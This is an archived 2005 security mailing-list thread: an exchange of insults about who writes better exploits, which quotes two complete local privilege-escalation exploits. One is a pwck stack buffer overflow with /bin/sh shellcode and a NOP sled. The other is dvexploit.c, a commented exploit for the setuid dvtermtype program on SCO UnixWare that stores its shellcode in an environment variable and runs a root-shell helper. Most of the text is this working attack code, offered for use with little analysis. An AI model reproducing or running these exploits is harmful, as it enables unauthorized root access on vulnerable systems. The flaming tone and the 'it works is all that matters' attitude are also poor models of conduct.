Message-ID: <050920051720.102.427F9BE7000D57610000006621603760210A9D0B0E039A9B979A9B@att.net>
Date: Mon May  9 18:20:05 2005
From: tuytumadre at att.net (tuytumadre@....net)
Subject: PWCK Overflow POC Code Redhat/Suse older
	versions or something (maybe later too)

Day jay, you may find it fun to criticize those recognized by Microsoft, but let me remind you that Steve has done more to help computer security then you will ever dream of accomplishing. He has forgotten more about computers then you will ever learn. I have met Steve, and he is a very nice man.

Steve is a very successful person, contrary to your opinion of the alternative. I am surprised that people still hold you in any form of regard, after you acting like a complete asshole during your dumb shellcode-masked backdoor incident. However, I do not know enough about you to categorize you as a jerk. What do you do for a living? What makes you so special that you can criticize a successful, intellegent man for your personal satisfaction, or are you just a hypocrite? Tell me, oh "1337" one.

Paul
-------------- Original message from Day Jay <d4yj4y@...oo.com>: -------------- 


> We all saw how short the code was I had for that pwck 
> buffer overflow exploit. He also hardcodes the stack 
> pointer, hahah. 
> 
> ----------MINE----------------- 
> #include 
> char shellcode[] = 
> "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" 
> "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" 
> "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" 
> "\x68"; 
> unsigned long sp(void) 
> { __asm__("movl %esp, %eax");} 
> int main(int argc, char *argv[]) 
> { 
> int i, offset; 
> long esp, ret, *addr_ptr; 
> char *buffer, *ptr; 
> offset = 1700; //the offset I first found worked 
> esp = sp(); 
> ret = esp - offset; 
> buffer = malloc(2200); 
> ptr = buffer; 
> addr_ptr = (long *) ptr; 
> for(i=0; i < 2200; i+=4) 
> { *(addr_ptr++) = ret; } 
> for(i=0; i < 1000; i++) 
> { buffer[i] = '\x90'; } 
> ptr = buffer + 200; 
> for(i=0; i < strlen(shellcode); i++) 
> { *(ptr++) = shellcode[i]; } 
> buffer[2200-1] = 0; 
> printf("d4yj4y fscked j00r mom!\n"); sleep(2); 
> execl("/usr/sbin/pwck", "pwck", buffer, 0); 
> free(buffer); 
> return 0; 
> } 
> ------------------HIS-------------- 
> 
> I have a feeling Steve was just mad mine was so short 
> compared to his, lol 
> 
> THIS IS HIS LOCAL ROOT EXPLOIT: 
> /* 
> * dvexploit.c 
> * 
> * written by : Stephen J. Friedl 
> * Software Consultant 
> * 2000-06-24 
> * steve unixwiz net 
> * 
> * This program exploits the "Double Vision" system on 
> SCO 
> * Unixware 7.1.0 via a buffer overflow on the 
> "dvtermtype" 
> * program. Double Vision is like a "pcAnywhere for 
> UNIX", 
> * but quite a few programs in this distribution are 
> setuid 
> * root. The problem is that these programs were not 
> written 
> * with security in mind, and it's not clear that they 
> even 
> * need to be setuid root. 
> * 
> * This particular program exploits "dvtermtype" by 
> passing a 
> * very long second parameter that overflows some 
> internal 
> * buffer. This buffer is filled with a predicted 
> address 
> * of the shellcode, and the shellcode itself is 
> stored in 
> * a very long environment variable. This approach 
> makes 
> * the shellcode much easier to find. 
> * 
> * This shellcode was based directly on the great work 
> of 
> * Brock Tellier (btellier usa net), who seems to 
> spend a lot 
> * of time within with various SCO UNIX release. 
> Thanks! 
> * 
> * This shellcode runs /tmp/ui, which should be this 
> simple 
> * program: 
> * 
> * $ cd /tmp 
> * $ cat ui.c 
> * int main() { setreuid(0,0); system("/bin/sh"); 
> return 0; } 
> * $ cc ui.c -o ui 
> * 
> * Brock's original work compiled this automatically, 
> but I 
> * prefer to do it by hand. A better approach is to do 
> the 
> * setreuid() in the shellcode and call /bin/sh 
> directly. 
> * Maybe another day. 
> * 
> * BUILD/TEST ENVIRONMENT 
> * ---------------------- 
> * 
> * $ cc -v 
> * UX:cc: INFO: Optimizing C Compilation System (CCS) 
> 3.2 03/03/99 (CA-unk_voyager5) 
> * 
> * $ uname -a 
> * UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5 
> * 
> * from /usr/lib/dv/README 
> * 
> * DoubleVision for Character Terminals Release 3.0 
> * Last Update: December 7, 1999 
> * 
> * TUNING 
> * ------ 
> * 
> * The default parameters to this program work on the 
> versions mentioned 
> * above, but for variants some tuning might be 
> required. There are three 
> * parameters that guide this program's operation: 
> * 
> * -a retaddr set the "return" address to the given 
> hex value, 
> * which is the address where we expect to find the 
> * exploit code in the environment. The environment 
> * is at a relatively fixed location just below 
> * 0x80000000, so getting "close" is usually 
> sufficient. 
> * Note that this address cannot have any zero bytes 
> * in it! We believe that the target code has enough 
> * padding NOP values to make it an easy target. 
> * 
> * -r retlen length of the overflowed "return address" 
> buffer, 
> * which is filled in with the address provided 
> above. 
> * Default = 2k, max = 5k. 
> * 
> * -l n slightly shift the alignment of the return 
> address 
> * buffer by 1, 2 or 3 in case the buffer that's 
> being 
> * overflowed. 
> */ 
> 
> #include 
> #include 
> 
> /*----------------------------------------------------------------------- 
> * shellcode for SCO UnixWare 
> * 
> * The shellcode in the binary was derived from 
> assembler code 
> * below, and we put the asm() code inside the 
> function so we 
> * can disassemble it and get the binary bytes easier. 
> The code 
> * all should match, but the real original data is the 
> full 
> * asm() code. 
> */ 
> #if 1 
> 
> static const char scoshell[] = 
> 
> "\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11" 
> 
> "\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8" 
> "\xe2\xff\xff\xff" 
> "/tmp/ui" 
> "\xaa\xaa\xaa\xaa" 
> "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; 
> 
> #else 
> 
> extern char scoshell[]; 
> 
> static void foo() 
> { 
> 
> asm("#-------------------------------------------"); 
> asm("scoshell:"); 
> asm(" jmp L1b"); /* go to springboard */ 
> asm(" L2b: popl %esi"); /* addr of /tmp/ui */ 
> asm(" xorl %ebx,%ebx"); /* %ebx <-- 0 */ 
> asm(" movl %ebx, 7(%esi)"); /* mark end of string */ 
> asm(" movl %ebx, 12(%esi)"); /* 0 to lcall addr */ 
> asm(" movb %bl, 17(%esi)"); /* 0 to lcall sub addr 
> */ 
> asm(" xorl %eax,%eax"); /* %eax <-- 0 */ 
> asm(" movb $0x3b, %al"); /* 0x3b = "execve" */ 
> asm(" leal 7(%esi), %edi"); /* addr of NULL word */ 
> asm(" pushl %ebx"); /* zero */ 
> asm(" pushl %edi"); /* addr of NULL word */ 
> asm(" pushl %esi"); /* addr of "/tmp/ui" */ 
> asm(" pushl %esi"); /* addr of "/tmp/ui" */ 
> asm(" jmp L3b"); /* do OS call */ 
> asm(" L1b: call L2b"); 
> asm(" .ascii \"/tmp/ui\""); /* %esi */ 
> asm(" .4byte 0xaaaaaaaa"); /* %esi[ 7] */ 
> asm(" L3b: lcall $0xaa07,$0xaaaaaaaa"); /* OS call */ 
> asm(" .byte 0x00"); /* endmarker */ 
> asm("#-------------------------------------------"); 
> 
> } 
> 
> #endif 
> 
> #define NOP 0x90 
> 
> static char *env[10], // environment strings 
> *arg[10]; // argument vector 
> 
> /*------------------------------------------------------------------------ 
> * "Addr" is the predicted address where the shellcode 
> starts in the 
> * environment buffer. This was determined empirically 
> based on a test 
> * program that ran similarly, and it ought to be 
> fairly consistent. 
> * This can be changed with the "-a" parameter. 
> */ 
> static long addr = 0x7ffffc04; 
> 
> static char *exefile = "/usr/lib/dv/dvtermtype"; 
> 
> int main(int argc, char *argv[]) 
> { 
> int c; 
> int i; 
> char egg[1024]; 
> int egglen = sizeof egg - 1; 
> int retlen = 2048; 
> char retbuf[5000]; 
> int align = 0; 
> char *p; 
> 
> setbuf(stdout, (char *)0 ); 
> 
> while ( (c = getopt(argc, argv, "a:r:l:")) != EOF ) 
> { 
> switch (c) 
> { 
> case 'a': addr = strtol(optarg, 0, 16); break; 
> case 'l': align = atoi(optarg); break; 
> case 'r': retlen = atoi(optarg); break; 
> } 
> } 
> 
> if ( optind < argc ) 
> exefile = argv[optind++]; 
> 
> printf("UnixWare 7.x exploit for suid root Double 
> Vision\n"); 
> printf("Stephen Friedl \n"); 
> printf("Using addr=0x%x retlen=%d\n", addr, 
> retlen); 
> 
> 
> /*--------------------------------------------------------------- 
> * sanity check: the return buffer requested can't be 
> too big, 
> * and the address can't have any zero bytes in it. 
> */ 
> if ( retlen > sizeof(retbuf) ) 
> { 
> printf("ERROR: retlen can't be > %d\n", 
> sizeof(retlen)); 
> exit(1); 
> } 
> 
> p = (char *)&addr; 
> 
> if ( !p[0] || !p[1] || !p[2] || !p[3] ) 
> { 
> printf("ERROR: ret address 0x%08lx has a zero 
> byte!\n", addr); 
> exit(1); 
> } 
> 
> 
> /*--------------------------------------------------------------- 
> * Now create the "return" buffer that is used to 
> overflow the 
> * return address. This buffer really has nothing in 
> it other than 
> * repeated copies of the phony return address, and 
> one of them 
> * will overwrite the real %EIP on the stack. Then 
> when the called 
> * function returns, it jumps to our code. 
> * 
> * It's possible that this requires alignment to get 
> right, so 
> * the "-l" param above can be used to adjust this 
> from 0..3. 
> * If we're aligning, be sure to fill in the early 
> part of the 
> * buffer with non-zero bytes ("XXXX"); 
> */ 
> strcpy(&retbuf, "XXXX"); 
> 
> for (i = align; i < retlen - 4; i += 4) 
> { 
> memcpy(retbuf+i, &addr, 4); 
> } 
> retbuf[i] = 0; 
> 
> printf("strlen(retbuf) = %d\n", strlen( (char 
> *)retbuf) ); 
> 
> 
> /*--------------------------------------------------------------- 
> * The "egg" is our little program that is stored in 
> the environment 
> * vector, and it's mostly filled with NOP values but 
> with our little 
> * root code at the end. Gives a wide "target" to 
> hit: any of the 
> * leading bytes hits a NOP and flows down to the 
> real code. 
> * 
> * The overall buffer is 
> * 
> * X=################xxxxxxxxxxxxxxxxxxxxx\0 
> * 
> * where # is a NOP instruction, and "X" is the 
> exploit code. There 
> * must be a terminating NUL byte so the environment 
> processor does 
> * the right thing also. 
> */ 
> memset(egg, NOP, egglen); 
> memcpy(egg, "EGG=", 4); 
> 
> // put our egg in the tail end of this buffer 
> memcpy(egg + (egglen - strlen(scoshell)- 1), 
> scoshell, strlen(scoshell)); 
> 
> egg[egglen] = '\0'; 
> 
> /* build up regular command line */ 
> 
> arg[0] = exefile; 
> arg[1] = "dvexploit"; /* easy to find this later */ 
> arg[2] = (char *)retbuf; 
> arg[3] = 0; 
> 
> 
> /*--------------------------------------------------------------- 
> * build up the environment that contains our 
> shellcode. This 
> * keeps it off the stack. 
> */ 
> env[0] = egg; 
> env[1] = 0; 
> 
> execve(arg[0], arg, env); 
> } 
> 
> --- Day Jay wrote: 
> > Please teach me to be like you, I'm striving to be 
> > as 
> > good as you Steve. You obviously are my master. 
> > 
> > I bow to you. 
> > 
> > Please teach me! Your code is sooo l33t! 
> > 
> > 
> > --- Steve Friedl wrote: 
> > > On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay 
> > > wrote: 
> > > > I stole it, but it works, and that's all that 
> > > matters 
> > > 
> > > "It works is all that matters" is the hallmark of 
> > an 
> > > amateur. 
> > > 
> > > Steve 
> > > 
> > > --- 
> > > Stephen J Friedl | Security Consultant | UNIX 
> > > Wizard | +1 714 544-6561 
> > > www.unixwiz.net | Tustin, Calif. USA | Microsoft 
> > > MVP | steve@...xwiz.net 
> > > 
> > 
> > __________________________________________________ 
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